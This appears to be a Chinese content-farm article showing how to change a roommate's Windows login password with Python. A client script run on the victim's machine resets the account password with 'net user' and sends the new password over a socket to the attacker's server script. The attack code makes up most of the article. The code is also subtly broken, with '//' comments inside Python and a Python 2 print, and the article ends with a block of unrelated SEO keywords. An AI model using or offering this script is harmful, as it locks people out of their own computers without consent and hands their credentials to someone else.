怎么用Python控制室友电脑的开机密码
发表于:2025-02-03 作者:千家信息网编辑
千家信息网最后更新 2025年02月03日,本篇内容介绍了"怎么用Python控制室友电脑的开机密码"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成
千家信息网最后更新 2025年02月03日怎么用Python控制室友电脑的开机密码
本篇内容介绍了"怎么用Python控制室友电脑的开机密码"的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!
操作方法:在自己的电脑上运行server端,然后在小伙伴的电脑上运行client端脚本。
原理:client端会在你的小伙伴电脑上随机生成一个密码然后通过socket发给server端,也就是你。
代码如下:
client端代码:
# client.py://文件名
import socket //导入用到的模块
import getpass
import subprocess
import random
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket实例
client.connect(('10.0.0.1', 44444)) //连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser() //获取计算机用户名
psd = '' //给一个psd变量(密码)为空
for j in range(1, 9): //生成1-9的随机数
m = str(random.randrange(0, 10))
psd = psd + m
subprocess.Popen(['net', 'User', user, psd]) //在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8')) //将密码发送给server端
back_msg = client.recv(1024)
client.close() //关闭socket
print psd //避免出现差错忘记密码 先在本地打印
server端代码:
# server.py //文件名
import socket //导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) //创建socket
server.bind(('10.0.0.1', 44444)) //绑定IP/端口
server.listen(5) //监听
print('starting....')
conn, addr = server.accept() //连接
print(conn)
print('client addr', addr)
print('ready to recv the passwd...')
client_msg = conn.recv(1024)
print('client passwd changed: %s' % client_msg)
conn.send(client_msg.upper())
conn.close()
server.close()
运行程序:
推荐在虚拟机下运行,万一出个差错搞不好真忘记密码!切记切记~
首先先在我的Linux上运行server端,来等待接收来自client端传过来的密码。
运行server.py脚本
然后windows运行client端,它会显示生成的密码
前提是在cmd命令行下运行否则你双击一下会消失
cmd下运行
现在再注销或者是重启输入原始密码就会发现密码错误,密码也已经发到我们的server端了。
server收到密码
如果你现在想改回密码的话,打开cmd输入"net user 你的用户名 你要改变的密码" 然后回车就ok了。
"怎么用Python控制室友电脑的开机密码"的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识可以关注网站,小编将为大家输出更多高质量的实用文章!
密码
运行
电脑
代码
生成
室友
控制
内容
命令
实际
小伙
小伙伴
差错
情况
文件
文件名
更多
用户
用户名
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
数据库幂等性
网络技术主管武汉
服务器主板功能测试自动化
树莓派3我的世界服务器
数据库架构五大理由
警察网络安全顺口溜
安卓实现图片加载上传服务器
洛阳定制软件开发
mssql 外网连接数据库
服务器怎么安装iis
网络技术岗服务试卷
意识形态与网络安全如何抓
java显示数据库的图书信息
兼职app软件开发商
王者荣耀服务器流量
dota2数据库软件
软件开发文档 app
数据库cmd显示物理地址
网络安全南阳理工
net软件开发的面试流程
前面是服务器名称
origal数据库
sock5代理服务器软件
海南 数据库应用技术期末答案
奉贤区天气预报软件开发
为什么要有软件开发
全球金融改革数据库
数据库安全之运营商
如何速达升级数据库版本
福建高配服务器虚拟主机